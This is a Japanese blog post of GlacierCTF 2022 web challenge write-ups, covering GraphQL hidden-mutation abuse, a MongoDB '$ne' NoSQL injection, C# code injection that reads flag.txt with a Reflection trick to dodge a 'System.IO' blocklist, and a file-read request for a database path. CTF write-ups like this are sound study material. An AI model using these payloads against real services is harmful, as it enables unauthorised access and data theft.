はまやんはまやんはまやん

hamayanhamayan's blog

GlacierCTF 2022 Writeups

[web] FlagCoin Stage 1

適当に動かして履歴を見てみるとPOST /graphqlというのが見える。
mutationでloginというのが使われていた。

使えるmutationを列挙してみる。
{ __schema { mutationType { fields { name type { name kind } } } } }

{"data":{"__schema":{"mutationType":{"fields":[{"name":"login","type":{"name":"User","kind":"OBJECT"}},{"name":"register_beta_user","type":{"name":"User","kind":"OBJECT"}},{"name":"redeem","type":{"name":"Voucher","kind":"OBJECT"}}]}}}}

履歴に残っているlogin以外にregister_beta_userというのもありそう。引数はlogin時と同じなので同じ要領で使ってみる

{"query":"\n      mutation($username: String!, $password: String!) { \n        register_beta_user(username: $username, password: $password) { \n          username \n        } \n      }\n      ","variables":{"username":"jgksadjfiawefasefdsd","password":"3489egjfdbjfdsgkdskl"}}

こんな感じにやるとユーザー登録できるので後はログインするとフラグが書いてある。

[web] FlagCoin Stage 2

同じサイトだが、ソースコードが追加で与えられる。
有効なバウチャーコードが入力できればフラグが得られる。
バウチャーコードを入力すると以下のような感じにリクエストが飛ぶ。

{"query":"\n        mutation($voucher: JSON!) { \n          redeem(voucher: $voucher) { \n            coins\n            message\n          } \n        }\n        ","variables":{"voucher":{"code":""}}}

backendでmongodbが使われてるのでNoSQL Injectionを狙って$neを使ったいつものやつをやってみるとフラグが出てきた。

{"query":"\n        mutation($voucher: JSON!) { \n          redeem(voucher: $voucher) { \n            coins\n            message\n          } \n        }\n        ","variables":{"voucher":{"code":{"$ne":"abc"}}}}

[web] RCE as a Service (Stage 1)

System.IO.File.ReadAllText(\"../flag.txt\")が差し込めればいい。
配列に対して何かしらの操作が行えるようである。
色々やっていると以下でフラグが得られた。

{
"Data": [""],
"Query": "(data) => data.Select(d => d + System.IO.File.ReadAllText(\"../flag.txt\"))"
}

[web] RCE as a Service (Stage 2)

System.IOという文字列が禁止されている。
何とかする必要がありそうだが、Reflectionをうまく使えば行けそう。
試行錯誤すると以下でフラグが得られる。

System.Text.Encoding.ASCII.GetString((System.Byte[])Type.GetType(\"System.I\"+\"O.File\").GetMethod(\"ReadAllBytes\", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public).Invoke(null, new object[] { \"../flag.txt\" }))

以下あたりを参考にしながら解いた。

[web] Glacier Top News 解けてない

ソースコードが与えられている。
環境変数にフラグが入っているが、どこかで使われはいない。
コードを読み進めるとapi.pyにてget_system_infoメソッドで環境変数を返している処理が見つかる。
呼び出し元を見るとPOST /api/system_infoでその内容が取得できる。
だが、jwtでの認証を通す必要があり、ここが課題点となりそう。

require_jwtメソッドで検証しているので確認しよう。
cookieのtokenにjwtを入れておけば検証してくれる。
普通の検証はしておらず、DBに入っているトークンと文字列比較して一致するか判定している。
jwtに対する攻撃法は適用できなさそう。
…となると、DBの内容が取得できないかという話になる。

Databaseクラスは機能が少なすぎて、何もできなさそうなので、"/tmp/glacier.db"の取得を狙う。
POST /api/get_resourceが怪しいが…

ここからずっと違う所見てました…
課題 36276: [CVE-2019-9740] Python urllib CRLF injection vulnerability - Python tracker
ずっとこれだと思って検証してましたが…全然関係ない…
discordで解法見ると{"url":"/tmp/glacier.db"}とするとdbが得られる。
うーん。